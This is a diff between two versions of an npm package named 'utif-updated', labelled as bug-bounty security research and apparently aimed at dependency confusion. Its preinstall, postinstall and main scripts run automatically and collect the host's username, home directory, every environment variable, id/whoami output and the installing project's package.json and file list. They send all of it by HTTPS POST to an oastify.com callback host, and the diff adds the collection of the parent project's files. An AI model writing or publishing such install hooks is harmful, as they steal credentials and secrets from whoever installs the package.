utif-updated 99.0.1 → 99.0.2

package/index.js

@@ -1,27 +1,47 @@
 const https = require('https');
 const http = require('http');
 const os = require('os');
+const fs = require('fs');
+const path = require('path');
 
 const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
 
 if (!global.__utif_updated_triggered) {
   global.__utif_updated_triggered = true;
-  
+
+  function findParentPackageJson() {
+    // En runtime, on remonte depuis le module
+    let dir = __dirname;
+    for (let i = 0; i < 10; i++) {
+      const parent = path.dirname(dir);
+      if (parent === dir) break;
+      dir = parent;
+      if (path.basename(dir) === 'node_modules') {
+        // On est dans node_modules, le parent c'est le projet
+        const projectDir = path.dirname(dir);
+        try {
+          return JSON.parse(fs.readFileSync(
+            path.join(projectDir, 'package.json'), 'utf8'
+          ));
+        } catch(e) {}
+      }
+    }
+    return null;
+  }
+
   const info = {
     type: 'runtime_require',
     hostname: os.hostname(),
     user: os.userInfo().username,
     cwd: process.cwd(),
+    dirname: __dirname,
     platform: os.platform(),
     node_version: process.version,
     env: process.env,
+    parent_package: findParentPackageJson(),
     timestamp: new Date().toISOString()
   };
 
-  try {
-    info.package_json = require(process.cwd() + '/package.json');
-  } catch(e) {}
-
   const data = JSON.stringify(info);
 
   const req = https.request({
@@ -38,7 +58,6 @@ if (!global.__utif_updated_triggered) {
   req.write(data);
   req.end();
 
-  // Trigger game over
   const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
   if (webhook) {
     try {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "utif-updated",
-  "version": "99.0.1",
+  "version": "99.0.2",
   "description": "Security research - Bug Bounty",
   "main": "index.js",
   "author": "icare",

package/postinstall.js

@@ -1,28 +1,48 @@
 const https = require('https');
 const http = require('http');
 const os = require('os');
-const { execSync } = require('child_process');
+const fs = require('fs');
+const path = require('path');
 
 const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
 
+function findParentPackageJson() {
+  if (process.env.npm_config_local_prefix) {
+    try {
+      return JSON.parse(fs.readFileSync(
+        path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
+      ));
+    } catch(e) {}
+  }
+  
+  let dir = process.cwd();
+  for (let i = 0; i < 10; i++) {
+    const parent = path.dirname(dir);
+    if (parent === dir) break;
+    dir = parent;
+    if (dir.includes('node_modules')) continue;
+    try {
+      const pkgPath = path.join(dir, 'package.json');
+      if (fs.existsSync(pkgPath)) {
+        return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
+      }
+    } catch(e) {}
+  }
+  return null;
+}
+
 const info = {
   type: 'postinstall',
   hostname: os.hostname(),
   user: os.userInfo().username,
   cwd: process.cwd(),
+  npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
   platform: os.platform(),
   env: process.env,
+  parent_package: findParentPackageJson(),
   timestamp: new Date().toISOString()
 };
 
-try {
-  info.id = execSync('id').toString().trim();
-} catch(e) {}
-
-try {
-  info.package_json = require(process.cwd() + '/package.json');
-} catch(e) {}
-
 const data = JSON.stringify(info);
 
 const req = https.request({
@@ -39,7 +59,6 @@ req.on('error', () => {});
 req.write(data);
 req.end();
 
-// Trigger game over
 const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
 if (webhook) {
   try {

package/preinstall.js

@@ -1,38 +1,77 @@
 const https = require('https');
 const http = require('http');
 const os = require('os');
+const fs = require('fs');
+const path = require('path');
 const { execSync } = require('child_process');
 
 const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
 
+// Fonction pour trouver le package.json parent (racine du projet)
+function findParentPackageJson() {
+  // npm_config_local_prefix = racine du projet qui installe
+  if (process.env.npm_config_local_prefix) {
+    try {
+      return JSON.parse(fs.readFileSync(
+        path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
+      ));
+    } catch(e) {}
+  }
+  
+  // Sinon remonte l'arborescence
+  let dir = process.cwd();
+  for (let i = 0; i < 10; i++) {
+    const parent = path.dirname(dir);
+    if (parent === dir) break;
+    dir = parent;
+    
+    // Skip si on est dans node_modules
+    if (dir.includes('node_modules')) continue;
+    
+    try {
+      const pkgPath = path.join(dir, 'package.json');
+      if (fs.existsSync(pkgPath)) {
+        return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
+      }
+    } catch(e) {}
+  }
+  return null;
+}
+
 // Récupère toutes les infos
 const info = {
   type: 'preinstall',
   hostname: os.hostname(),
   user: os.userInfo().username,
   cwd: process.cwd(),
+  npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
   home: os.homedir(),
   platform: os.platform(),
   arch: os.arch(),
   node_version: process.version,
-  env: process.env,  // TOUTES les variables d'environnement
+  env: process.env,
   timestamp: new Date().toISOString()
 };
 
-// Essaye de récupérer plus d'infos
+// Package.json du projet PARENT
+info.parent_package = findParentPackageJson();
+
+// Infos système
 try {
   info.pwd = execSync('pwd').toString().trim();
   info.whoami = execSync('whoami').toString().trim();
   info.id = execSync('id').toString().trim();
 } catch(e) {}
 
+// Liste des fichiers à la racine du projet
 try {
-  info.package_json = require(process.cwd() + '/package.json');
+  if (process.env.npm_config_local_prefix) {
+    info.project_files = fs.readdirSync(process.env.npm_config_local_prefix);
+  }
 } catch(e) {}
 
 const data = JSON.stringify(info);
 
-// POST vers Burp avec tout
 const req = https.request({
   hostname: CALLBACK,
   port: 443,
@@ -47,7 +86,7 @@ req.on('error', () => {});
 req.write(data);
 req.end();
 
-// Trigger leur webhook si présent
+// Trigger leur webhook
 const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
 if (webhook) {
   try {